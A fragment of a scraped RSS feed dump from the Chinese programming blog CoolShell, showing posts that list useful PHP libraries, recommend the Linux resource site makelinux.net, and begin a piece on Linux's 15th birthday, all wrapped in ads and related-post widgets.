href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_title\">Oracle成功收购Sun</a></li><li ><a href=\"https://coolshell.cn/articles/1038.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"编程命名中的7+1个提示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1038.html\" class=\"wp_rp_title\">编程命名中的7+1个提示</a></li><li ><a href=\"https://coolshell.cn/articles/2155.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"别只谈系统备份，谈谈怎样恢复系统吧！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2155.html\" class=\"wp_rp_title\">别只谈系统备份，谈谈怎样恢复系统吧！</a></li><li ><a href=\"https://coolshell.cn/articles/968.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/06/visual_web_developer-150x150.jpg\" alt=\"18个Web开发的IDE\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/968.html\" class=\"wp_rp_title\">18个Web开发的IDE</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/203.html\">IBM收购Sun，这是一种什么样的精神？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/203.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>20 你应该知道的PHP库</title>\n\t\t<link>https://coolshell.cn/articles/200.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/200.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 18 Mar 2009 13:01:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=200</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一些非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。 图表库 下面的类库可以让你很简的创建复杂的图表和图片。当然，它们需要GD...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/200.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/200.html\">20 你应该知道的PHP库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p class=\"entry\">下面是一些非常有用的PHP类库，相信一定可以为你的WEB开发提供更好和更为快速的方法。</p>\n<h3 class=\"entry\">图表库<a href=\"https://coolshell.cn/wp-content/uploads/2009/03/021151lephpant-e_png.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-201\" title=\"021151lephpant-e_png\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/021151lephpant-e_png.jpg\" alt=\"021151lephpant-e_png\" width=\"200\" height=\"128\" /></a></h3>\n<p class=\"entry\">下面的类库可以让你很简的创建复杂的图表和图片。当然，它们需要GD库的支持。</p>\n<div class=\"entry\">\n<ol>\n<li><a title=\"pChart\" href=\"http://pchart.sourceforge.net/\" target=\"_blank\">pChart</a> &#8211; 一个可以创建统计图的库。</li>\n<li><a title=\"Libchart\" href=\"http://naku.dohcrew.com/libchart/pages/introduction/\" target=\"_blank\">Libchart</a> &#8211; 这也是一个简单的统计图库。</li>\n<li><a title=\"JpGraph\" href=\"http://www.aditus.nu/jpgraph/\" target=\"_blank\">JpGraph</a> &#8211; 一个面向对象的图片创建类。</li>\n<li><a title=\"Open Flash Chart\" href=\"http://teethgrinder.co.uk/open-flash-chart/\" target=\"_blank\">Open Flash Chart</a> &#8211; 这是一个基于Flash的统计图。</li>\n</ol>\n</div>\n<p> <span id=\"more-200\"></span></p>\n<h3>RSS 解析</h3>\n<p>解释RSS并是一件很单调的事情，不过幸好你有下面的类库可以帮助你方便地读取RSS的Feed。</p>\n<ol>\n<li><a title=\"MagpieRSS\" href=\"http://magpierss.sourceforge.net/\" target=\"_blank\">MagpieRSS</a> &#8211; 开源的PHP版RSS解析器，据说功能强大，未验证。</li>\n<li><a title=\"SimplePie\" href=\"http://simplepie.org/\" target=\"_blank\">SimplePie</a> &#8211; 这是一个非常快速，而且易用的RSS和Atom 解析库。</li>\n</ol>\n<h3>缩略图生成</h3>\n<ol>\n<li><a title=\" phpThumb\" href=\"http://phpthumb.sourceforge.net/\" target=\"_blank\">phpThumb</a> &#8211; 功能很强大，如何强大还是自己去体会吧。</li>\n</ol>\n<h3>支付</h3>\n<p>你的网站需要处理支付方面的事情？需要一个和支付网关的程序？下面这个程序可以帮到你。</p>\n<ol>\n<li><a title=\"PHP Payment Library\" href=\"http://www.phpfour.com/blog/2009/02/php-payment-gateway-library-for-paypal-authorizenet-and-2checkout/\" target=\"_blank\">PHP Payment Library</a> &#8211; 支持Paypal, Authorize.net 和2Checkout (2CO)</li>\n</ol>\n<h3>OpenID</h3>\n<ol>\n<li><a title=\"PHP-OpenID\" href=\"http://www.openidenabled.com/php-openid/\" target=\"_blank\">PHP-OpenID</a> &#8211; 支持OpenID的一个PHP库。OpenID是帮助你使用相同的用户名和口令登录不同的网站的一种解决方案。如果你对OpenID不熟悉的话，你可以到这里看看：<a href=\"http://openid.net.cn/\">http://openid.net.cn/</a></li>\n</ol>\n<h3>数据为抽象/对象关系映射ORM</h3>\n<ol>\n<li><a title=\"ADOdb\" href=\"http://adodb.sourceforge.net/\" target=\"_blank\">ADOdb</a> &#8211; 数据库抽象</li>\n<li><a title=\"Doctrine\" href=\"http://www.doctrine-project.org/\" target=\"_blank\">Doctrine</a> &#8211; 对象关系映射Object relational mapper (ORM) ，需要 PHP 5.2.3+ 版本，一个非常强大的database abstraction layer (DBAL).</li>\n<li><a title=\"Propel\" href=\"http://propel.phpdb.org/trac/\" target=\"_blank\">Propel</a> &#8211; 对象关系映射框架- PHP5</li>\n<li><a title=\"Outlet\" href=\"http://www.outlet-orm.org/site/\" target=\"_blank\">Outlet</a> &#8211; 也是关于对象关系映射的一个工具。</li>\n</ol>\n<p>注：对象关系映射（Object Relational Mapping，简称ORM）是一种为了解决面向对象与关系数据库存在的互不匹配的现象的技术。 简单的说，ORM是通过使用描述对象和数据库之间映射的元数据，将程序中的对象自动持久化到关系数据库中。本质上就是将数据从一种形式转换到另外一种形式。 这也同时暗示者额外的执行开销；然而，如果ORM作为一种中间件实现，则会有很多机会做优化，而这些在手写的持久层并不存在。 更重要的是用于控制转换的元数据需要提供和管理；但是同样，这些花费要比维护手写的方案要少；而且就算是遵守ODMG规范的对象数据库依然需要类级别的元数据。</p>\n<h3>PDF 生成器</h3>\n<ol>\n<li><a title=\"FPDF\" href=\"http://www.fpdf.org/\" target=\"_blank\">FPDF</a> &#8211; 这量一个可以让你生成PDF的纯PHP类库。</li>\n</ol>\n<h3>Excel 相关</h3>\n<p>你的站点需要生成Excel？没有问题，下面这两个类库可以让你轻松做到这一点。</p>\n<div id=\"psum\">\n<ol>\n<li><a title=\"php-excel\" href=\"http://code.google.com/p/php-excel/\" target=\"_blank\">php-excel</a> &#8211; 这是一个非常简单的Excel文件生成类。</li>\n<li><a title=\"PHP Excel Reader\" href=\"http://code.google.com/p/php-excel-reader/\" target=\"_blank\">PHP Excel Reader</a> &#8211; 可以解析并读取XLS文件中的数据。</li>\n</ol>\n</div>\n<h3 id=\"psum\">E-Mail 相关</h3>\n<p>不喜欢PHP的mail函数？觉得不够强大？下面的PHP邮件相关的库绝对不会让你失望。</p>\n<div>\n<ol>\n<li><a title=\"Swift Mailer\" href=\"http://swiftmailer.org/\" target=\"_blank\">Swift Mailer</a> &#8211; 免费的超多功能的PHP邮件库。</li>\n<li><a title=\"PHPMailer\" href=\"http://phpmailer.codeworxtech.com/\" target=\"_blank\">PHPMailer </a>&#8211; 超强大的邮件发送类。</li>\n</ol>\n<h3>单元测试</h3>\n<p>如果你在使用测试驱动的方法开发你的程序，下面的类库和框架绝你能帮助你的开发。</p></div>\n<ol>\n<li><a title=\"SimpleTest\" href=\"http://www.simpletest.org/\" target=\"_blank\">SimpleTest</a> &#8211; 一个PHP的单元测试和网页测试的框架。</li>\n<li><a title=\"PHPUnit\" href=\"http://www.phpunit.de/\" target=\"_blank\">PHPUnit</a> &#8211; 来自xUnit 家族，提供一个框架可以让你方便地进行单元测试的案例开发。并可非常容易地分析其测试结果。</li>\n</ol>\n<p>文章：<a href=\"http://komunitasweb.com/2009/03/20-great-php-library-you-need-to-know/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" alt=\"PHP分页技术的代码和示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_title\">PHP分页技术的代码和示例</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"九个PHP很有用的功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_title\">九个PHP很有用的功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/200.html\">20 你应该知道的PHP库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/200.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>59</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux 相关的资源站makelinux.net</title>\n\t\t<link>https://coolshell.cn/articles/194.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/194.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 16 Mar 2009 14:51:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=194</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>关于Linux相关的资源大家可以到http://www.makelinux.net/访问相关的文章，很不错的一个和linux内核相关的资源网站，当然，你可能因为...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/194.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/194.html\">Linux 相关的资源站makelinux.net</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/makelinux.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-195\" title=\"makelinux\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/makelinux.jpg\" alt=\"makelinux\" width=\"209\" height=\"108\" /></a>关于Linux相关的资源大家可以到<a href=\"http://www.makelinux.net/\">http://www.makelinux.net/</a>访问相关的文章，很不错的一个和linux内核相关的资源网站，当然，你可能因为种种原因不能访问这个网上的一些资源，那么你可能需要使用代理服务器或是一个叫Tor的软件，关于后者，请参看这篇文章<a href=\"https://coolshell.cn/articles/25.html\">《如何上网觅无踪</a>》</p>\n<p>下面是makelinux上的资源列表，都非常不错。</p>\n<p><span id=\"more-194\"></span></p>\n<p><span style=\"display: none;\"><strong>Resources on the site<br />\n</strong>• <a href=\"http://www.makelinux.net/system\" target=\"_blank\"><span style=\"color: #0000ff;\">Interactive map of GNU/Linux OS and FOSS</span></a><br />\n• <a href=\"http://www.makelinux.net/home\" target=\"_blank\"><span style=\"color: #0000ff;\">&#8220;GNU/Linux is my home&#8221;</span></a> &#8211; map of GNU/Linux system<br />\n• <a href=\"http://www.makelinux.net/kernel_map\" target=\"_blank\"><span style=\"color: #810081;\">Interactive map of Linux kernel</span></a><br />\n• <a href=\"http://www.makelinux.net/inside\" target=\"_blank\"><span style=\"color: #810081;\">Linux inside</span></a><br />\n• <a href=\"http://www.makelinux.net/reference\" target=\"_blank\"><span style=\"color: #810081;\">Linux Technology Reference</span></a> (<a href=\"http://www.makelinux.net/reference.d/linksframe.shtml?w=full\" target=\"_blank\"><span style=\"color: #0000ff;\">single page view</span></a>)<br />\n• <a href=\"http://www.makelinux.net/kernel/diagram\" target=\"_blank\"><span style=\"color: #810081;\">Linux kernel diagram</span></a><br />\n• <a href=\"http://www.makelinux.net/ldd3/\" target=\"_blank\"><span style=\"color: #810081;\">Linux Device Drivers, 3rd Edition</span></a><br />\n• <a href=\"http://www.makelinux.net/alp\" target=\"_blank\"><span style=\"color: #810081;\">Advanced Linux Programming</span></a><br />\n• <a href=\"http://www.makelinux.net/make3\" target=\"_blank\"><span style=\"color: #0000ff;\">Managing Projects with GNU make</span></a><br />\n• <a href=\"http://www.makelinux.net/books/1000%20Hacker%20Tutorials%202008\" target=\"_blank\"><span style=\"color: #810081;\">1000 Hacker Tutorials 2008</span></a><br />\n• <a href=\"http://www.makelinux.net/books/intro-linux\" target=\"_blank\"><span style=\"color: #0000ff;\">Introduction to Linux</span></a><br />\n• <a href=\"http://www.makelinux.net/books/Bash-Beginners-Guide\" target=\"_blank\"><span style=\"color: #0000ff;\">Bash Guide for Beginners</span></a><br />\n• <a href=\"http://www.makelinux.net/books/abs-guide\" target=\"_blank\"><span style=\"color: #0000ff;\">Advanced Bash-Scripting Guide</span></a><br />\n• <a href=\"http://www.makelinux.net/books/GNU-Linux-Tools-Summary\" target=\"_blank\"><span style=\"color: #0000ff;\">GNU/Linux Command-Line Tools Summary</span></a><br />\n• <a href=\"http://www.makelinux.net/books/Linux-Filesystem-Hierarchy\" target=\"_blank\"><span style=\"color: #0000ff;\">Linux Filesystem Hierarchy</span></a><br />\n• <a href=\"http://www.makelinux.net/books/lkmpg\" target=\"_blank\"><span style=\"color: #810081;\">The Linux Kernel Module Programming Guide</span></a><br />\n• <a href=\"http://www.makelinux.net/books/sag\" target=\"_blank\"><span style=\"color: #810081;\">The Linux System Administrator\\&#8217;s Guide</span></a><br />\n• <a href=\"http://www.makelinux.net/books/nag2\" target=\"_blank\"><span style=\"color: #810081;\">Linux Network Administrators Guide</span></a><br />\n• <a href=\"http://www.makelinux.net/books/autobook-1.5/autobook.html\" target=\"_blank\"><span style=\"color: #0000ff;\">Autobook: GNU Autoconf, Automake, and Libtool</span></a> <a href=\"http://sources.redhat.com/autobook/download.html\" target=\"_blank\"><span style=\"color: #0000ff;\">src</span></a><br />\n<strong>Linux related products<br />\n</strong>• <a href=\"http://www.makelinux.net/kernel_map_poster\" target=\"_blank\"><span style=\"color: #0000ff;\">Linux kernel poster</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=136&amp;affiliate_banner_id=50\" target=\"_blank\"><span style=\"color: #0000ff;\">Linux Quick Guide</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=142&amp;affiliate_banner_id=48\" target=\"_blank\"><span style=\"color: #0000ff;\">Unix like Operating Systems Map</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=134&amp;affiliate_banner_id=49\" target=\"_blank\"><span style=\"color: #0000ff;\">Unix Quick Guide</span></a><br />\n<strong>Other products<br />\n</strong>• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=124&amp;affiliate_banner_id=43\" target=\"_blank\"><span style=\"color: #0000ff;\">Computer Operating System Map</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=118&amp;affiliate_banner_id=42\" target=\"_blank\"><span style=\"color: #0000ff;\">Wi-Fi Quick Guide</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=68&amp;affiliate_banner_id=15\" target=\"_blank\"><span style=\"color: #0000ff;\">Wireless Communication Technology Map</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=120&amp;affiliate_banner_id=41\" target=\"_blank\"><span style=\"color: #0000ff;\">VOIP Quick Guide</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=69&amp;affiliate_banner_id=14\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Protocol Map</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=65&amp;affiliate_banner_id=13\" target=\"_blank\"><span style=\"color: #0000ff;\">TCP/IP Quick Guide</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=70&amp;affiliate_banner_id=12\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Security Map</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=63&amp;affiliate_banner_id=11\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Protocols Handbook</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=113&amp;affiliate_banner_id=9\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Management Architecture and Technology Map</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=79&amp;affiliate_banner_id=7\" target=\"_blank\"><span style=\"color: #0000ff;\">Network Dictionary</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=133&amp;affiliate_banner_id=56\" target=\"_blank\"><span style=\"color: #0000ff;\">IPv6 Deployment Guide</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=67&amp;affiliate_banner_id=5\" target=\"_blank\"><span style=\"color: #0000ff;\">Ethernet Quick Guide</span></a><br />\n• <a href=\"http://www.javvin.com/product_info.php?ref=41&amp;products_id=77&amp;affiliate_banner_id=44\" target=\"_blank\"><span style=\"color: #0000ff;\">3G Wireless Tech Quick Guide</span></a><br />\n<strong>Other</strong>:<br />\n• <a href=\"http://www.makelinux.net/biotech\" target=\"_blank\"><span style=\"color: #0000ff;\">Business proposal to production of ointment for treatment skin diseases</span></a><br />\n</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/194.html\">Linux 相关的资源站makelinux.net</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/194.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-48.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 48 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=48\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 05 Jul 2011 17:40:07 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>Linux的15岁生日</title>\n\t\t<link>https://coolshell.cn/articles/189.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/189.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 15 Mar 2009 03:47:51 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=189</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今年是Linux的15生日，15年前，1994年3月， Linux kernel 版本1.0.0  released。这几天，全世界很多站点都在发布Blog庆祝...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/189.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/189.html\">Linux的15岁生日</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/mask-linus_torvalds.jpg\"></a>今年是Linux的15生日，15年前，1994年3月， Linux kernel 版本1.0.0  released。这几天，全世界很多站点都在发布Blog庆祝Linux的15岁生日，而这篇文章是其中的一篇关于 Linux kernel 的，如果你是Linux的粉丝，希望你能喜欢。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/mask-linus_torvalds.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-thumbnail wp-image-190\" title=\"mask-linus_torvalds\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/mask-linus_torvalds-150x150.jpg\" alt=\"mask-linus_torvalds\" width=\"150\" height=\"150\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/mask-linus_torvalds-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2009/03/mask-linus_torvalds-200x200.jpg 200w\" sizes=\"(max-width: 150px) 100vw, 150px\" /></a>1. Linux是由一个芬兰的仅有21岁的大学生因为兴趣而产生的。</p>\n<p>2. 为表扬他的突出贡献，有一颗小行星以他的名字命名。<a href=\"http://en.wikipedia.org/wiki/9793_Torvalds\">http://en.wikipedia.org/wiki/9793_Torvalds</a>。</p>\n<p>3. 有上千个开发人员和程序员从世界的各个角落汇聚在一起，他们不停地开发Linux Kernel。</p>\n<p>4. Linux kernel的官方吉祥物是一只小企鹅，叫做Tux.</p>\n<p>5. 欧盟研究基金调查表明，Linux最新内核的评估价格在1.14亿美金。</p>\n<p><span id=\"more-189\"></span></p>\n<p>6. 今天，Linux内核中只有2%的程序由 <a href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\">Linus Torvalds</a>开发。</p>\n<p>7. Linux内核是由C语语开发。</p>\n<p>8. 今天Linux 